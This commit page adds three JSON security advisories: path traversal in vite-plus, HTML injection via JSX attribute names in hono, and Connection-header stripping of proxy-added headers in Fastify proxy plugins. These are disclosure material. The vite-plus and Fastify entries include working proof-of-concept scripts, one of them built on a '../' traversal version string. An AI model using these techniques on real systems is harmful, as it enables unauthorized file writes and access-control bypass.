Skip to content

Commit cad7642

Browse files

File tree

5 files changed

+329
-0
lines changed

5 files changed

+329
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-33r3-4whc-44c2",
4+
"modified": "2026-04-16T01:02:48Z",
5+
"published": "2026-04-16T01:02:48Z",
6+
"aliases": [],
7+
"summary": " Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME",
8+
"details": "### Summary\n\n`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.\n\n### Details\n\nThe public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.\n\nThat value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:\n\n1. computes the final target directory from the raw `version` string,\n2. removes any pre-existing directory at that target,\n3. renames the extracted package into that location, and\n4. writes executable shim files there.\n\nBecause the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.\n\n### PoC\n\n```js\nimport fs from \"node:fs\";\nimport http from \"node:http\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { downloadPackageManager } from \"vite-plus/binding\";\n\nconst tgz = Buffer.from(\n \"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=\",\n \"base64\",\n);\n\nconst vpHome = fs.mkdtempSync(path.join(os.tmpdir(), \"vp-home-\"));\nconst version = \"../../../vite-plus-escape\";\nconst escapedRoot = path.resolve(vpHome, \"package_manager\", \"pnpm\", version);\nconst escapedInstallDir = path.join(escapedRoot, \"pnpm\");\n\nprocess.env.VP_HOME = vpHome;\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { \"content-type\": \"application/octet-stream\" });\n res.end(tgz);\n});\n\nawait new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\nconst { port } = server.address();\nprocess.env.npm_config_registry = `http://127.0.0.1:${port}`;\n\nconst result = await downloadPackageManager({\n name: \"pnpm\",\n version,\n});\n\nserver.close();\n\nconsole.log(\"VP_HOME =\", vpHome);\nconsole.log(\"installDir =\", result.installDir);\nconsole.log(\"escaped =\", escapedInstallDir);\nconsole.log(\"shim exists =\", fs.existsSync(path.join(escapedInstallDir, \"bin\", \"pnpm\")));\n\n// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created\n```\n\n### Impact\n\nA caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.\n\n### Mitigating factors\n\n- **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.\n- The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.\n- No known downstream consumers pass untrusted input to this function.\n- Exploitation requires the attacker to already be executing code in the same Node.js process.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "vite-plus"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.1.17"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 0.1.16"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-33r3-4whc-44c2"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/voidzero-dev/vite-plus"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-22"
52+
],
53+
"severity": "HIGH",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-04-16T01:02:48Z",
56+
"nvd_published_at": null
57+
}
58+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-458j-xx4x-4375",
4+
"modified": "2026-04-16T01:02:24Z",
5+
"published": "2026-04-16T01:02:24Z",
6+
"aliases": [],
7+
"summary": "hono Improperly Handles JSX Attribute Names Allows HTML Injection in hono/jsx SSR",
8+
"details": "## Summary\n\nImproper handling of JSX attribute names in hono/jsx allows malformed attribute keys to corrupt the generated HTML output.\n\nWhen untrusted input is used as attribute keys during server-side rendering, specially crafted keys can break out of attribute or tag boundaries and inject unintended HTML.\n\n## Details\n\nWhen rendering JSX elements to HTML strings, attribute values are escaped, but attribute names (keys) were previously inserted into the output without validation.\n\nIf an attribute name contains characters such as `\"`, `>`, or whitespace, it can alter the structure of the generated HTML.\n\nFor example, malformed attribute names can:\n\n* Break out of the current attribute and introduce unintended additional attributes\n* Break out of the current HTML tag and inject new elements into the output\n\nThis issue arises when untrusted input (such as query parameters or form data) is used as JSX attribute keys during server-side rendering.\n\n## Impact\n\nAn attacker who can control attribute keys used in JSX rendering may inject unintended attributes or HTML elements into the generated output.\n\nThis may lead to:\n\n* Injection of unexpected HTML attributes\n* Corruption of the HTML structure\n* Potential cross-site scripting (XSS) if combined with unsafe usage patterns\n\nThis issue affects applications that pass untrusted input as JSX attribute keys during server-side rendering.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "hono"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "4.12.14"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/honojs/hono/security/advisories/GHSA-458j-xx4x-4375"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/honojs/hono"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-79"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-16T01:02:24Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gwhp-pf74-vj37",
4+
"modified": "2026-04-16T01:02:59Z",
5+
"published": "2026-04-16T01:02:59Z",
6+
"aliases": [
7+
"CVE-2026-33805"
8+
],
9+
"summary": "Fastify's connection header abuse enables stripping of proxy-added headers",
10+
"details": "### Summary\n\n`@fastify/reply-from` and `@fastify/http-proxy` process the client's `Connection` header after the proxy has added its own headers via `rewriteRequestHeaders`. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the `Connection` header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.\n\n### Details\n\nThe vulnerability exists in `@fastify/reply-from/lib/request.js` at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:\n\n1. Client headers are copied including the `connection` header (`@fastify/reply-from/index.js` line 91)\n2. The proxy adds custom headers via `rewriteRequestHeaders` (line 151)\n3. During request construction, the transport handlers read the client's `Connection` header and strip any headers listed in it\n4. This stripping happens after `rewriteRequestHeaders`, allowing clients to target proxy-added headers for removal\n\nRFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.\n\nThe call chain:\n1. `@fastify/reply-from/index.js` line 91: `headers = { ...req.headers }` — copies ALL client headers including `connection`\n2. `index.js` line 151: `requestHeaders = rewriteRequestHeaders(this.request, headers)` — proxy adds custom headers (e.g., `x-forwarded-by`)\n3. `index.js` line 180: `requestImpl({...headers: requestHeaders...})` — passes headers to transport\n4. `request.js` line 191 (undici): `getConnectionHeaders(req.headers)` — reads Connection header FROM THE CLIENT\n5. `request.js` lines 198-200: Strips headers listed in Connection — including proxy-added headers\n\nThis is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's `rewriteRequestHeaders` function.\n\n### PoC\n\nSelf-contained reproduction with an upstream echo service and a proxy that adds a custom header:\n\n```javascript\nconst fastify = require('fastify');\n\nasync function test() {\n // Upstream service that echoes headers\n const upstream = fastify({ logger: false });\n upstream.get('/api/echo-headers', async (request) => {\n return { headers: request.headers };\n });\n await upstream.listen({ port: 19801 });\n\n // Proxy that adds a custom header via rewriteRequestHeaders\n const proxy = fastify({ logger: false });\n await proxy.register(require('@fastify/reply-from'), {\n base: 'http://localhost:19801'\n });\n\n proxy.get('/proxy/*', async (request, reply) => {\n const target = '/' + (request.params['*'] || '');\n return reply.from(target, {\n rewriteRequestHeaders: (originalReq, headers) => {\n return { ...headers, 'x-forwarded-by': 'fastify-proxy' };\n }\n });\n });\n\n await proxy.listen({ port: 19800 });\n\n // Baseline: proxy adds x-forwarded-by header\n const res1 = await proxy.inject({\n method: 'GET',\n url: '/proxy/api/echo-headers'\n });\n console.log('Baseline response headers from upstream:');\n const body1 = JSON.parse(res1.body);\n console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');\n\n // Attack: Connection header strips the proxy-added header\n const res2 = await proxy.inject({\n method: 'GET',\n url: '/proxy/api/echo-headers',\n headers: { 'connection': 'x-forwarded-by' }\n });\n console.log('\\nAttack response headers from upstream:');\n const body2 = JSON.parse(res2.body);\n console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');\n\n await proxy.close();\n await upstream.close();\n}\ntest();\n```\n\nActual output:\n```\nBaseline response headers from upstream:\n x-forwarded-by: fastify-proxy\n\nAttack response headers from upstream:\n x-forwarded-by: NOT PRESENT (stripped!)\n```\n\nThe `x-forwarded-by` header that the proxy explicitly added in `rewriteRequestHeaders` is stripped before reaching the upstream.\n\nMultiple headers can be stripped at once by sending `Connection: x-forwarded-by, x-forwarded-for`.\n\nBoth the undici (default) and HTTP/1.1 transport handlers in `@fastify/reply-from` are affected, as well as `@fastify/http-proxy` which delegates to `@fastify/reply-from`.\n\n### Impact\n\nAttackers can selectively remove any header added by the proxy's `rewriteRequestHeaders` function. This enables several attack scenarios:\n\n1. **Bypass proxy identification**: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests\n2. **Circumvent access control**: If the proxy adds headers used for routing, authorization, or security decisions (e.g., `x-internal-auth`, `x-proxy-token`), attackers can strip them to access unauthorized resources\n3. **Remove arbitrary headers**: Any header can be targeted, including `Connection: authorization` to strip authentication or `Connection: x-forwarded-for, x-forwarded-by` to remove multiple headers at once\n\nThis vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.\n\n### Affected Versions\n\n- `@fastify/reply-from` — All versions, both undici (default) and HTTP/1.1 transport handlers\n- `@fastify/http-proxy` — All versions (delegates to `@fastify/reply-from`)\n- Any configuration using `rewriteRequestHeaders` to add headers that could be security-relevant\n- No special configuration required to exploit — works with default settings\n\n### Suggested Fix\n\nThe Connection header from the client should be processed and consumed before `rewriteRequestHeaders` is called, not after. Alternatively, the Connection header processing in `request.js` should maintain a list of headers that existed in the original client request and only strip those, not headers added by `rewriteRequestHeaders`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@fastify/reply-from"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "12.6.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 12.6.1"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "npm",
43+
"name": "@fastify/http-proxy"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "11.4.4"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 11.4.3"
60+
}
61+
}
62+
],
63+
"references": [
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37"
67+
},
68+
{
69+
"type": "ADVISORY",
70+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33805"
71+
},
72+
{
73+
"type": "WEB",
74+
"url": "https://cna.openjsf.org/security-advisories.html"
75+
},
76+
{
77+
"type": "PACKAGE",
78+
"url": "https://github.com/fastify/fastify-reply-from"
79+
}
80+
],
81+
"database_specific": {
82+
"cwe_ids": [
83+
"CWE-644"
84+
],
85+
"severity": "CRITICAL",
86+
"github_reviewed": true,
87+
"github_reviewed_at": "2026-04-16T01:02:59Z",
88+
"nvd_published_at": "2026-04-15T11:16:34Z"
89+
}
90+
}

0 commit comments

Comments
 (0)